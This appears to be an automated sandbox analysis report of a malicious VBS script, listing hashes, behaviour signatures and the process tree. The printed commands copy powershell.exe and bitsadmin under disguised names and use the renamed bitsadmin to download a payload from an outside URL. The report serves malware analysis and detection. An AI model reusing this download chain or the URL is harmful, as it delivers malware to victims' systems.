Analysis
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max time kernel
49s -
max time network
84s -
platform
windows7_x64 -
resource
win7-20220331-en -
submitted
27/03/2022, 08:11
Static task
static1
Behavioral task
behavioral1
Sample
517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs
Resource
win7-20220331-en
General
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Target
517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs
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Size
6KB
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MD5
e23030b670693ed55a426f36a133a04c
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SHA1
0d1a7a0582fd29568f6796b285bfe07d2ef783c8
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SHA256
517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc
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SHA512
95f9756faf7957afbd4f68232d1a56d46d424b61d9d31ba99322ec45f2db944e8201ee9ea727c6639b40e423e59f8cd0aedf83dc37e1655d4286057994b1f4b8
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1720 ywpwhHWin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1500 wrote to memory of 1244 1500 WScript.exe 28 PID 1500 wrote to memory of 1244 1500 WScript.exe 28 PID 1500 wrote to memory of 1244 1500 WScript.exe 28 PID 1244 wrote to memory of 1716 1244 cmd.exe 30 PID 1244 wrote to memory of 1716 1244 cmd.exe 30 PID 1244 wrote to memory of 1716 1244 cmd.exe 30 PID 1244 wrote to memory of 936 1244 cmd.exe 31 PID 1244 wrote to memory of 936 1244 cmd.exe 31 PID 1244 wrote to memory of 936 1244 cmd.exe 31 PID 1500 wrote to memory of 1720 1500 WScript.exe 32 PID 1500 wrote to memory of 1720 1500 WScript.exe 32 PID 1500 wrote to memory of 1720 1500 WScript.exe 32 PID 1500 wrote to memory of 1720 1500 WScript.exe 32
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zhYAwkpK.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ywpwhHW*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zhYAwkpK.exe3⤵PID:1716
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ywpwhHW*.exe3⤵PID:936
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C:\ProgramData\ywpwhHWin.exe"C:\ProgramData\ywpwhHWin.exe" /transfer UiqvPh /download https://waybackwhenbycynthia.com/edikaso/PRIMRC69R24D612Y/it.png C:\Users\Admin\AppData\Roaming\it.png2⤵
- Executes dropped EXE
PID:1720
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51